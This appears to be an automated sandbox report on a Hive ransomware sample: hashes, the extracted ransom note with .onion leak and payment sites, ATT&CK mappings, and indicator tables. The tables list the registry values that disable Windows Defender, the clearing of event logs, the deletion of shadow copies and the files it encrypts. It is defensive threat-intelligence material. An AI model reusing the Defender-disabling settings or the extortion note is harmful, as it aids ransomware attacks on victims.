hive | 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

Analysis

max time kernel
361s
max time network
363s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
28-02-2024 13:44

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General

Target

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
Size

884KB
MD5

da13022097518d123a91a3958be326da
SHA1

24a71ab462594d5a159bbf176588af951aba1381
SHA256

25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5
SHA512

a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f
SSDEEP

12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Score

10^/10

hive evasion ransomware spyware stealer trojan upx

Malware Config

Extracted

Path

C:\Program Files\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

Processes:

MpCmdRun.exe

pid	Process
2232	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs 3 IoCs

evasion ransomware

Indicator Removal

T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exe

pid	Process
956	wevtutil.exe
1792	wevtutil.exe
276	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

Processes:

cmd.exe

pid	Process
2856	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/2084-0-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-1-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-2-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-1455-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-5909-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8002-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8007-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8012-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8037-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8043-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8073-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx
behavioral1/memory/2084-8095-0x0000000000CD0000-0x0000000000FE2000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

Processes:

windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0196164.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UP7z9gPSoOM68dmPusKy0q.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21314_.GIF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WjefuNF0QQLxKNi26jPSU_.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipssrb.xml	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\wmlaunch.exe.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\fr-FR\picturePuzzle.html	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\docked_black_moon-new.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RMNSQUE\RMNSQUE.INF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XeZzqS2rFJKFmqFedp0V0w.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToScenesBackground.wmv	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Dhaka.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WxKXLPVg05aoiM0TIFR-Uu.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02125_.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WNC9OaFgxsHcNdh1ZQocwB.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\notConnectedStateIcon.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ja-JP\InputPersonalization.exe.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.jsp.jasper.registry_1.0.300.v20130327-1442.jar.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UR7ujRwLOjDNsDlYWZAsoY.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02503U.BMP.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XVoKIWjHQZe_BI97dDzNFg.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MEDIA\CAMERA.WAV.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UzEJS4DAg6QEl2B-2gKAAj.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18228_.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3X3eEA5R4fINEu_kTvDd_Rr.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Bears.jpg	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\VSTO\vstoee100.tlb.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WUY0az9ExRKLfHal5bQgcv.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3W90UU3zieDLjgxezyU7awa.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Jayapura.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3W14emT7qcrfHQUVOwKuZwy.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0195384.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XsLLLN5R9hUNF4LJyi_Thr.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Library\Analysis\EGdu_HOW_TO_DECRYPT.txt	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3USHM5rTpC0VnIBENcF1Hgk.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Microsoft Games\More Games\ja-JP\MoreGames.dll.mui.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WlrTHAFH4ADNmfRdOLPJQ-.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\eBook.api.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3X8UqcgOAavAh-dNscTs54Q.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\divider-vertical.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\CRANINST.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XQ0HFFuOBjbXKbGKjZ3Bkv.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_m.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-selector-api.xml.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UplkxzoRo4KOh1gIxRHw9a.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Calendar.Gadget\it-IT\calendar.html	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\Shared24x24ImagesMask.bmp.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WzfZjZKpWeIwZ88gQ1v1tG.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\NextMenuButtonIconSubpictur.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.registry_1.1.300.v20130402-1529.jar.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3V-o7rXIL4lGAiCpzhFaDcm.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\WB01300_.GIF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3VONZhSbXhYAen3VyBGjIcm.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Calendar.Gadget\icon.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02048_.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3X_AM1yRw8RYq7MD2wzQbpv.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0222021.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UJVUdJQiC6NRXGtQKhJUAi.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\EXLIRMV.XML.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3U-1WhbYcvOI3F9OVOQjXQ6.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+9.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3Vv3n_wCMAjTeKhXEEhTIRt.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XSt7JSAgd-WJXCP6a_Bmo0.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\es-ES\msdasqlr.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\REFINED\REFINED.ELM.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UjKdnfjoS8GssJjGCA5TUj.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\FD02115_.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WIPwcOOGjFBdSjm94A78oJ.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\Media Renderer\DMR_48.jpg	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Media Player\de-DE\WMPDMCCore.dll.mui	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\OrangeCircles.jpg	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0182888.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3U93apv2v9VMpCD2y52nOkr.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH02810J.JPG.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XiL4sOFZF3HzTu3vRzCKUD.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms\FieldTypePreview\SectionHeading.jpg.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XkFWnUfgppMldbKZ4sXgU1.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\utilityfunctions.js.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3VwicT_ga3yLD-a1OjICg96.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\settings_left_rest.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBFTSCM\SCHEME36.CSS.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XgXSs9z2tqDh7OXm0CA3sX.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21340_.GIF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UJD1uSsXPyRU2RC56KikIw.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\PUBSPAPR\PDIR43F.GIF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3UxQ_dn-EWoDR5lO6Y04-YH.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_gray_thunderstorm.png	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_LinkDrop32x32.gif.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3XOEpRTDGuzBUfZmpOd_r4b.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler_zh_CN.jar.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3WzcaWV1xKKB0rGRE95G9ZJ.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroSign.prc	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Soft Blue.htm	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH01065_.WMF.AFymD1Qfipnj6Hqu3P61MAv6F8z3lFHlSSOMirUul3Ucnp19X-zHWYiBbZOxfqQc.uj1ps	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	Process
2936	sc.exe
1716	sc.exe
2276	sc.exe
1424	sc.exe
1276	sc.exe
1264	sc.exe
2672	sc.exe
1732	sc.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Processes:

vssadmin.exe

pid	Process
844	vssadmin.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
2868	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
1604	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exewindows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

pid	Process
2264	powershell.exe
1656	powershell.exe
2084	windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wevtutil.exewevtutil.exewevtutil.exewmic.exewmic.exe

description	pid	Process
Token: SeSecurityPrivilege	956	wevtutil.exe
Token: SeBackupPrivilege	956	wevtutil.exe
Token: SeSecurityPrivilege	1792	wevtutil.exe
Token: SeBackupPrivilege	1792	wevtutil.exe
Token: SeSecurityPrivilege	276	wevtutil.exe
Token: SeBackupPrivilege	276	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	272	wmic.exe
Token: SeSecurityPrivilege	272	wmic.exe
Token: SeTakeOwnershipPrivilege	272	wmic.exe
Token: SeLoadDriverPrivilege	272	wmic.exe
Token: SeSystemProfilePrivilege	272	wmic.exe
Token: SeSystemtimePrivilege	272	wmic.exe
Token: SeProfSingleProcessPrivilege	272	wmic.exe
Token: SeIncBasePriorityPrivilege	272	wmic.exe
Token: SeCreatePagefilePrivilege	272	wmic.exe
Token: SeBackupPrivilege	272	wmic.exe
Token: SeRestorePrivilege	272	wmic.exe
Token: SeShutdownPrivilege	272	wmic.exe
Token: SeDebugPrivilege	272	wmic.exe
Token: SeSystemEnvironmentPrivilege	272	wmic.exe
Token: SeRemoteShutdownPrivilege	272	wmic.exe
Token: SeUndockPrivilege	272	wmic.exe
Token: SeManageVolumePrivilege	272	wmic.exe
Token: 33	272	wmic.exe
Token: 34	272	wmic.exe
Token: 35	272	wmic.exe
Token: SeIncreaseQuotaPrivilege	3020	wmic.exe
Token: SeSecurityPrivilege	3020	wmic.exe
Token: SeTakeOwnershipPrivilege	3020	wmic.exe
Token: SeLoadDriverPrivilege	3020	wmic.exe
Token: SeSystemProfilePrivilege	3020	wmic.exe
Token: SeSystemtimePrivilege	3020	wmic.exe
Token: SeProfSingleProcessPrivilege	3020	wmic.exe
Token: SeIncBasePriorityPrivilege	3020	wmic.exe
Token: SeCreatePagefilePrivilege	3020	wmic.exe
Token: SeBackupPrivilege	3020	wmic.exe
Token: SeRestorePrivilege	3020	wmic.exe
Token: SeShutdownPrivilege	3020	wmic.exe
Token: SeDebugPrivilege	3020	wmic.exe
Token: SeSystemEnvironmentPrivilege	3020	wmic.exe
Token: SeRemoteShutdownPrivilege	3020	wmic.exe
Token: SeUndockPrivilege	3020	wmic.exe
Token: SeManageVolumePrivilege	3020	wmic.exe
Token: 33	3020	wmic.exe
Token: 34	3020	wmic.exe
Token: 35	3020	wmic.exe
Token: SeIncreaseQuotaPrivilege	3020	wmic.exe
Token: SeSecurityPrivilege	3020	wmic.exe
Token: SeTakeOwnershipPrivilege	3020	wmic.exe
Token: SeLoadDriverPrivilege	3020	wmic.exe
Token: SeSystemProfilePrivilege	3020	wmic.exe
Token: SeSystemtimePrivilege	3020	wmic.exe
Token: SeProfSingleProcessPrivilege	3020	wmic.exe
Token: SeIncBasePriorityPrivilege	3020	wmic.exe
Token: SeCreatePagefilePrivilege	3020	wmic.exe
Token: SeBackupPrivilege	3020	wmic.exe
Token: SeRestorePrivilege	3020	wmic.exe
Token: SeShutdownPrivilege	3020	wmic.exe
Token: SeDebugPrivilege	3020	wmic.exe
Token: SeSystemEnvironmentPrivilege	3020	wmic.exe
Token: SeRemoteShutdownPrivilege	3020	wmic.exe
Token: SeUndockPrivilege	3020	wmic.exe
Token: SeManageVolumePrivilege	3020	wmic.exe
Token: 33	3020	wmic.exe

